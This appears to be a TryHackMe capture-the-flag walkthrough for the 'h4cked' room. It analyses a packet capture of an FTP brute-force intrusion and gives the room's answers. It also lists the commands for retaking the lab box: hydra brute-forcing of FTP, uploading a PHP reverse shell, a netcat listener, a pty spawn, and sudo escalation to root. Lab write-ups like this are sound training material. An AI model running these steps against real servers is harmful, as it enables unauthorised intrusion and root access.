TryHackMe|h4cked WriteUp\Walkthrough (English)

h4cked

============================================================

Once you open the .pcap, the attacker is obviously trying to log in using ftp service.
For the second question, the answer is hydra, by simply Google search “Van Hauser brute force”.
To know the username right-click on any FTP packet and choose follow > tcp stream. The user is jenny.

The password is password123. Current working directory /var/www/html. The backdoor name is shell.php.
To get the URL look at the comments at the top of the shellcode.

To locate the packet filter the .pcap file using ‘frame contains “shell.php” ‘. Right-click on frame 450, then follow the TCP stream for this packet. You will get a stream containing all the commands executed on the target. The first command is whoami. The computer's name is wir3, you can conclude it from the first line.

The command used to spawn a tty shell is python3 -c 'import pty; pty.spawn("/bin/bash")'. To get root the attacker executed sudo su. The GitHub project is Reptile. Once you go the the GitHub page you can know that it is a Linux rootkit.

To get the machine back you need to login using ftp. hydra -l jenny -P /usr/share/wordlists/rockyou.txt ftp://IP the passaword is *********.
Cp the shell /usr/share/webshells/php/php-reverse-shell.php to the directory you’re connecting to the FTP from for easier upload. Modify the IP and the Port as wanted in the shell then upload it to the FTP server by typing mput [shell] in the FTP server terminal.
Delete the previous attacker shell mdelete shell.php. Now he cannot get access anymore.
To get a shell on the server set up a netcat listener nc -nlvp [same port on the shellcode] , then go to http:IP/[shell-name] to run the shell. You will get a connection back to your machine.
Spawn a /bin/bash tty session python3 -c 'import pty; pty.spawn("/bin/bash")'. Sudo -l provide the password for jenny which is ********* after the attacker had changed it. you can see that jenny can run any command on the server. Sudo su then cd /root/reptile and retrieve the flag ✨.
Extra step: to prevent the attacker from being able to connect back change jenny’s password.